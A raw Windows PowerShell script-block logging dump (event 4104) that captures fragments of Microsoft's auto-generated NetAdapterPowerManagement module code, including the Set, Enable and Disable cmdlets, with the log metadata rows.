$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Disable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Disable-NetAdapterPowerManagement' -Alias '*'
ScriptBlock ID: 3a8cc59a-0d73-4bc5-9ab9-ee8f655e3ce2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1931 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-97fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 4):
faultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('ArpOffload')) {
[object]$__cmdletization_value = ${ArpOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'ArpOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('D0PacketCoalescing')) {
[object]$__cmdletization_value = ${D0PacketCoalescing}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'D0PacketCoalescing'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'CmdletOutput'; ParameterType = 'Microsoft.Management.Infrastructure.CimInstance'; Bindings = 'Out'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('PassThru')) {
[object]$__cmdletization_value = ${PassThru}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:PassThru'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('Enable', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $false
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Enable-NetAdapterPowerManagement' -Alias '*'
function Disable-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
[ValidateNotNull()]
[ciminstance[]]
${InputObject},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${ArpOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${D0PacketCoalescing},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${DeviceSleepOnDisconnect},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NSOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${RsnRekeyOffload},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${SelectiveSuspend},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnMagicPacket},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${WakeOnPattern},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${NoRestart},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${PassThru},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[Alias('Session')]
[ValidateNotNullOrEmpty()]
[CimSession[]]
${CimSession},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[int]
${ThrottleLimit},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[Parameter(ParameterSetName='InputObject (cdxml)')]
[switch]
${AsJob})
DynamicParam {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper = $script:ObjectModelWrapper::
ScriptBlock ID: 3a8cc59a-0d73-4bc5-9ab9-ee8f655e3ce2
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 1930 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4476 | 1496 | n-h1-758944-2 | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:16:09 AM | dfeadd90-ee34-0002-97fe-eadf34eed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 4):
etCoalescing'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('DeviceSleepOnDisconnect')) {
[object]$__cmdletization_value = ${DeviceSleepOnDisconnect}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'DeviceSleepOnDisconnect'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NSOffload')) {
[object]$__cmdletization_value = ${NSOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'NSOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('RsnRekeyOffload')) {
[object]$__cmdletization_value = ${RsnRekeyOffload}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'RsnRekeyOffload'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('SelectiveSuspend')) {
[object]$__cmdletization_value = ${SelectiveSuspend}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'SelectiveSuspend'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnMagicPacket')) {
[object]$__cmdletization_value = ${WakeOnMagicPacket}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnMagicPacket'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('WakeOnPattern')) {
[object]$__cmdletization_value = ${WakeOnPattern}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'WakeOnPattern'; ParameterType = 'Microsoft.PowerShell.Cmdletization.GeneratedTypes.NetAdapterPowerManagement.Setting'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
[object]$__cmdletization_defaultValue = $null
[object]$__cmdletization_defaultValueIsPresent = $false
if ($PSBoundParameters.ContainsKey('NoRestart')) {
[object]$__cmdletization_value = ${NoRestart}
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_value; IsValuePresent = $true}
} else {
$__cmdletization_methodParameter = [Microsoft.PowerShell.Cmdletization.MethodParameter]@{Name = 'cim:OperationOption:NoRestart'; ParameterType = 'System.Management.Automation.SwitchParameter'; Bindings = 'In'; Value = $__cmdletization_defaultValue; IsValuePresent = $__cmdletization_defaultValueIsPresent}
}
$__cmdletization_methodParameters.Add($__cmdletization_methodParameter)
$__cmdletization_returnValue = $null
$__cmdletization_methodInvocationInfo = [Microsoft.PowerShell.Cmdletization.MethodInvocationInfo]::new('cim:ModifyInstance', $__cmdletization_methodParameters, $__cmdletization_returnValue)
$__cmdletization_passThru = $PSBoundParameters.ContainsKey('PassThru') -and $PassThru
if ($PSBoundParameters.ContainsKey('InputObject')) {
foreach ($x in $InputObject) { $__cmdletization_objectModelWrapper.ProcessRecord($x, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru) }
} else {
$__cmdletization_objectModelWrapper.ProcessRecord($__cmdletization_queryBuilder, $__cmdletization_methodInvocationInfo, $__cmdletization_PassThru)
}
}
}
}
}
catch
{
$__cmdletization_exceptionHasBeenThrown = $true
throw
}
}
End {
try
{
if (-not $__cmdletization_exceptionHasBeenThrown)
{
$__cmdletization_objectModelWrapper.EndProcessing()
}
}
catch
{
throw
}
}
# .EXTERNALHELP MSFT_NetAdapterPowerManagement.cmdletDefinition.cdxml-Help.xml
}
Microsoft.PowerShell.Core\Export-ModuleMember -Function 'Set-NetAdapterPowerManagement' -Alias '*'
function Enable-NetAdapterPowerManagement
{
[CmdletBinding(DefaultParameterSetName='ByName', SupportsShouldProcess=$true, ConfirmImpact='Low', PositionalBinding=$false)]
[OutputType([Microsoft.Management.Infrastructure.CimInstance])]
param(
[Parameter(ParameterSetName='ByName', Mandatory=$true, Position=0, ValueFromPipelineByPropertyName=$true)]
[Alias('ifAlias','InterfaceAlias')]
[ValidateNotNull()]
[string[]]
${Name},
[Parameter(ParameterSetName='ByInstanceID', Mandatory=$true, ValueFromPipelineByPropertyName=$true)]
[Alias('ifDesc','InstanceID')]
[ValidateNotNull()]
[string[]]
${InterfaceDescription},
[Parameter(ParameterSetName='ByName')]
[Parameter(ParameterSetName='ByInstanceID')]
[switch]
${IncludeHidden},
[Parameter(ParameterSetName='InputObject (cdxml)', Mandatory=$true, ValueFromPipeline=$true)]
[PSTypeName('Microsoft.Management.Infrastructure.CimInstance#MSFT_NetAdapterPowerManagementSettingData')]
